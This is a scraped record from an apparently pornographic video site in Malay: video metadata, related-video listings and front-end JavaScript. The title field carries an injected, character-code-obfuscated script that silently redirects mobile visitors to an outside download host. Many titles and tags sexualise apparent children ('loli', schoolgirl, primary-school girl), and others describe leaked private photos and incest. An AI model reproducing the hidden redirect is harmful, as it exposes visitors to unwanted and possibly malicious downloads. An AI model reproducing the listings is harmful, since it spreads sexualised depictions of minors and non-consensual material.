</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,1,104); d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>Lolita Sah Murid Perempuan Sangat Lembut Kaki Cantik dan Punggung Berlekuk Sungguh Lembut
Lolita Sah Murid Perempuan Sangat Lembut Kaki Cantik dan Punggung Berlekuk Sungguh Lembut","site_id":0,"video_url":"https://2605.v155p.com/20260627/5g1VlLTt/index.m3u8","images":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA2MjMvNjc0M2ZkNjA4Y2RlZGVkNzJhNmNmODRlMWI5OWY2NmIuanBn.cache","duration":"01:47:43","actor":[],"lastmod":1783766805,"rating":"8.0","view_count":534,"description":"Lolita yang sah, junior yang sangat muda, kaki yang cantik, punggung yang lincah, kemaluannya sangat lembut!","tag":["sah","Loli Sah","loli","Super lembut","junior","Kaki yang cantik","punggung yang rancak","sebenar"],"site_url":"178139","free":1,"clarity":1,"vr":2,"is_caiji":0,"fenlei":["网红头条"],"preview":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA2MjMvNjc0M2ZkNjA4Y2RlZGVkNzJhNmNmODRlMWI5OWY2NmIuanBn.cache","maker":"","table_name":"videos_155zy","content":"","download_url":"","magnet_url":"","torrent_url":"","preview_images":"","release_date":"","series":"","studio":"","s_title":"合法萝莉超嫩学妹美腿翘臀逼是真的嫩呐","s_keywords":"合法萝莉超嫩学妹美腿翘臀逼是真的嫩呐","s_description":"Lolita Sah Murid Perempuan Sangat Lembut Kaki Cantik dan Punggung Berlekuk Sungguh Lembut","cid":"","items":[{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMjUxZGNlY2RlZjdhZGQwOTM5NzFmZmFjNTRiMmYzN2YuanBn.cache","vod_id":18989411,"title":"259LUXU-1122 TV Mewah 1108 \"Saya mahu melupakannya...\" Dia memasuki industri AV untuk membalas dendam terhadap lelaki yang memutuskan pertunangannya! Dia mempamerkan susuk tubuh yang sangat seksi dan berbeza sama sekali daripada imejnya yang polos! Dia menggoncang payudaranya yang penuh dan punggungnya yang lincah, menunggang dengan liar dalam gelombang keseronokan yang tidak berkesudahan! (002)","lastmod":"2025-12-14","duration":"01:19:29","url":"/play/18989411.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA2MTAvMjJjNTAyNGRmNTQ2M2U2YmU1ZTBmZWY3N2RjYjM0NTMuanBn.cache","vod_id":19037621,"title":"BANK-011 Seorang wakil Jepun yang lucah, menampilkan seorang wanita yang menggoda dengan kaki yang tinggi, cantik dan susuk tubuh yang seksi, pancutan air mani di kolam air panas terbuka!","lastmod":"2025-06-10","duration":"02:30:17","url":"/play/19037621.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOWM5YjFmZWU4NDFkNmZhMjE2NDJmZDAxMWQ2ZDNkYzMuanBn.cache","vod_id":19015011,"title":"GANA2055 sangat lembut, penggambaran pertama kali. 1363 Saya ingin meminta pelajar kolej yang saya temui di Ebisu untuk menjadi monitor penggetar! ? \"Patutkah saya letakkannya di sini?\" Dia berasa seronok dengan penggetar pertamanya, dan ia mengeluarkan bunyi yang menyenangkan! Saya terpikat dengan penggetar elektrik itu dan menggeletar dengan gembira sehingga ke penghujungnya.","lastmod":"2025-03-24","duration":"01:02:52","url":"/play/19015011.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOTMwNmM2ZTYwYWI1YWM2NDM3MjM3NDA1ZmI0YzBkNWMuanBn.cache","vod_id":18989249,"title":"200GANA-2255 Seks Lembut Serius, Penggambaran Kali Pertama. 1456 Seorang pelajar kejururawatan yang sangat comel ditemui di sebuah bandar yang musnah akibat hujan ribut! Apabila saya mendengarnya bercerita, dia berkata, \"Saya tidak mempunyai teman lelaki, tetapi saya mempunyai ayah!\" Dia seorang karnivor moden! Walau bagaimanapun, dia sangat tertekan dan berkata, \"Berhubungan seks dengan ayah saya langsung tidak terasa baik!\" Rutin hariannya adalah menonton video dewasa dan melancap, jadi apabila saya mencadangkan agar dia \"cuba membuat video dewasa\"...! (0002).","lastmod":"2025-03-23","duration":"01:12:16","url":"/play/18989249.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEwMjgvNjU0NTc3NmZiYzIwOTAxNjI2NjE0MGI4MDI0MTlhNjkuanBn.cache","vod_id":19059995,"title":"Dua orang lesbian muda Cina yang sangat cantik – mereka sangat lembut!","lastmod":"2025-10-27","duration":"51:29","url":"/play/19059995.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMzJmN2E0ZjZmZjNhODg4OTk2YTQ0NzNmY2VmZTY5MWEuanBn.cache","vod_id":19012391,"title":"200GANA2276 Sangat lembut, penggambaran pertama kali. 1471 Apabila saya menanggalkan pakaian seorang gadis cantik yang berpakaian pelik, payudaranya yang sangat lembut G-cup terpacak keluar. Walaupun dia menahan diri dengan kuat, terdapat kesan yang besar pada farajnya. Dia berulang kali mencapai orgasme sambil payudaranya menggeletar!!","lastmod":"2025-03-24","duration":"01:07:53","url":"/play/19012391.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOWZhNmRiYzYyNGU4YTM1YmY3ZmVmZTQyNjE4OGEwMGIuanBn.cache","vod_id":18954783,"title":"Penstrim Douyin [A Tyrant Beast] dan pelbagai penstrim menstrim langsung dari dua perspektif, termasuk foto peribadi. Penstrim pada masa kini benar-benar tahu bagaimana untuk berseronok. Perspektif abang sulung benar-benar terbaik (30)","lastmod":"2025-03-22","duration":"00:05:27","url":"/play/18954783.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMWZmMjRhODJiY2EwNGMyOGRjMTliMDQxMzEyMTI5MmYuanBn.cache","vod_id":19142877,"title":"Punggung Jasmineie6 yang sempurna dan bertenaga","lastmod":"2026-02-11","duration":"01:24:40","url":"/play/19142877.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZTg3YmUxYWQxNGI3MGU0NzkyMmYyNDdiMGFkMjg2MzAuanBn.cache","vod_id":18942795,"title":"Seorang pelajar tahun ketiga kolej yang sangat menarik dan comel, Jia En, dengan penampilan yang sangat muda dan muda, telah dibocorkan gambar peribadinya untuk teman lelakinya dalam talian. (20 gambar dilampirkan)","lastmod":"2025-12-14","duration":"00:18:08","url":"/play/18942795.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMzQ5NGRjYzYxMGQ3MjEwOGQyNWI2YjY0MWE5MDA4OGYuanBn.cache","vod_id":18933010,"title":"HUNTA-130 - Kakak saya datang bermalam di rumah saya semasa ibu bapa saya tiada. Walau bagaimanapun, kami berkongsi bilik. Bilik itu sangat sesak.","lastmod":"2025-12-14","duration":"04:02:35","url":"/play/18933010.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZTJjMTIzMjA2ZDlmNTIwNmZhYTE5ZTM4NGI4Mjg3NjIuanBn.cache","vod_id":18991900,"title":"Seorang gadis kolej yang cantik [gadis sekolah rendah setinggi 176cm] mengintip payudaranya di dalam kelas sementara rakan sekelasnya bermain telefon mereka, dengan kawan baiknya melindunginya. Kembali ke asrama, dia menarik kelambu, menanggalkan pakaian, dan mendedahkan vulva, dubur, dan payudaranya yang muda dan merah jambu!","lastmod":"2025-12-14","duration":"03:24:30","url":"/play/18991900.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNjYyMDQ4YmU0ODViYThiOTg2ZDE0Nzc3NTI2Y2JjMzkuanBn.cache","vod_id":18950650,"title":"Seorang wanita muda yang cantik dengan wajahnya yang terserlah, yang suka makan ayam dan daging naga berbisa, makan dengan penuh selera, dengan mahir memasukkannya dari pelbagai sudut.","lastmod":"2025-12-14","duration":"01:01:19","url":"/play/18950650.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZDllMzFiNzhiNGFjOGVkZWQ1YmYyMjk2YjRmODM5OGIuanBn.cache","vod_id":18925486,"title":"Seorang gadis muda yang comel dengan rambut kuncir, memakai pakaian dan stoking ala era Republik, sedang melancap dengan kuat menggunakan penggetar; dia kelihatan sangat memikat.","lastmod":"2025-12-14","duration":"00:50:18","url":"/play/18925486.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMTMvNmM1NTRkZGI2OGQ0MDJlOWIwMTMwZjY1MGI0MDExOWUuanBn.cache","vod_id":19066434,"title":"Rakan sekolah rendah yang beruniform gelap.","lastmod":"2025-12-14","duration":"13:32","url":"/play/19066434.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA5MDUvZjQxNmNlMmQ3Mzg4ZDNhZDgzZWY1N2Y2NGU4YTJmODcuanBn.cache","vod_id":19050664,"title":"Seorang wanita matang berusia 25 tahun yang berpakaian kemas dan berstokin hitam serta bertumit tinggi mengalami pertemuan kejam dengan seorang pemajak cerucuk di luar tapak. Satu karya agung yang mesti dilihat.","lastmod":"2025-09-04","duration":"01:13:48","url":"/play/19050664.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYjRjY2U5NjM1ZDQ5ZTE0MzRmOGM0YjFlY2MzYjM2OGEuanBn.cache","vod_id":18956988,"title":"STAR-652 Iori Furukawa: Daya tarikan skirt ketat: Keseronokan yang dibawa oleh garis pinggul ketat dan seluar dalam yang terdedah pada seorang wanita pejabat berpengalaman, paha, kaki yang cantik dan punggung yang seksi.","lastmod":"2025-12-14","duration":"03:20:54","url":"/play/18956988.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYWQ1Zjg0MzNkN2JkMTQxNTJkZWExOTBiNzBkZDY4OGEuanBn.cache","vod_id":18992966,"title":"KTKZ-050 Isteri saya, seorang syaitan kecil berdada besar, adalah beban; Saya benar-benar tidak mahu melakukannya dengannya. 1","lastmod":"2025-12-14","duration":"02:12:30","url":"/play/18992966.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYjI0NDIwODhkYjk4MDNjMmJiMTQ2ZjMxNDY3ZmU5N2YuanBn.cache","vod_id":18975443,"title":"10musume Gadis Semula Jadi 022423_01 Seorang pelacur loli yang popular meminta untuk merakam video! Wakakusa Nozomi","lastmod":"2025-12-14","duration":"00:53:00","url":"/play/18975443.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNTRkMGE4OGY5ODQzZWJhNWQ1ZWQzMmFjNDg2YWU1MjQuanBn.cache","vod_id":18932996,"title":"T28-411 Model pelajar wanita, G-cup, 90cm, berambut perang, payudara besar, lolita yang dicukur.","lastmod":"2025-12-14","duration":"02:17:26","url":"/play/18932996.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNTAyNGFkMzUwNzdlZGUyZGMwMTFiZmUxOTI2OTI4Y2YuanBn.cache","vod_id":19008106,"title":"MESU49 benar-benar wujud!! Seorang pekerja insurans hayat wanita telah mengambil insurans terhadap Mio Morishita selepas didera secara seksual.","lastmod":"2025-03-24","duration":"01:37:10","url":"/play/19008106.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMjRjYmJmMDk4NTdhZDcwZjM3MjMzN2JjNzUyM2Y3MmUuanBn.cache","vod_id":19012345,"title":"200GANA2250 sungguh lembut, pertama kali merakam. 1453 Tiba-tiba menghampiri seorang gadis di Akihabara yang sedang merenung kosong patung-patungnya! Dia berpakaian serba hitam dan enggan menanggalkan topengnya—apakah identiti sebenarnya...? Sebenarnya, dia seorang gadis berdada besar yang sangat unik yang lahir di Wilayah Miyazaki! Dia menggunakan susuk tubuh idamannya sebagai umpan, menjemputnya ke sebuah hotel, meramas payudaranya yang besar, menjilat vulvanya yang berbulu dan berisi, dan kemudian dia mula menjilat zakarnya yang besar dengan penuh nikmat!! Langkah seterusnya! Adakah dia akan pancut semasa hubungan seks (0002)?","lastmod":"2025-03-24","duration":"01:10:06","url":"/play/19012345.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMjEzMjY4NGFlNjZkY2Q0YzVmMWVlMGFjMmNmMWFjNTUuanBn.cache","vod_id":19012322,"title":"200GANA2221 Seksi yang serius, sesi penggambaran pertama. 1431 Seorang jelita yang berhati-hati tetapi terharu! Akhirnya, dia mengalah dan memasukkan zakar pelakon itu ke dalam mulutnya, dan mereka secara semula jadi mula bercinta! Jika anda menyentuh badannya sedikit pun, kakinya akan menggeletar dan dia akan basah.","lastmod":"2025-03-24","duration":"01:19:58","url":"/play/19012322.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA3MjMvMTJlOGYwM2Q4NzBlMTBlYmQ2ZWNhMzgzMGQyNjdmNTguanBn.cache","vod_id":19043891,"title":"Seorang dewi yang sangat cantik baru-baru ini menceburi industri hiburan dewasa, terlibat dalam seks kasual, memakai pakaian dalam yang mendedahkan dan stoking hitam putih, mempamerkan kakinya yang cantik melalui fetish kaki, dan bermain-main meminta seks dengan ekspresi keseronokan tulen.","lastmod":"2025-07-22","duration":"01:17:57","url":"/play/19043891.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvODBkMDg1NmZkNTA4MzMwNGU1MWI4YmNlMTE3YTM4YzMuanBn.cache","vod_id":18989612,"title":"2600 pengiring dalam talian langsing, lembut, dan bertimbang rasa, dengan punggung yang lincah, payudara yang cantik, dan wajah yang halus; karya agung seks dan melancap yang penuh ghairah.","lastmod":"2025-12-14","duration":"42:46","url":"/play/18989612.html"}]},
videoTitle: '</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,1,104); d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>Lolita Sah Murid Perempuan Sangat Lembut Kaki Cantik dan Punggung Berlekuk Sungguh Lembut',
language: 'ms',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Pautan disalin!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Pautan disalin!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Pautan disalin!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}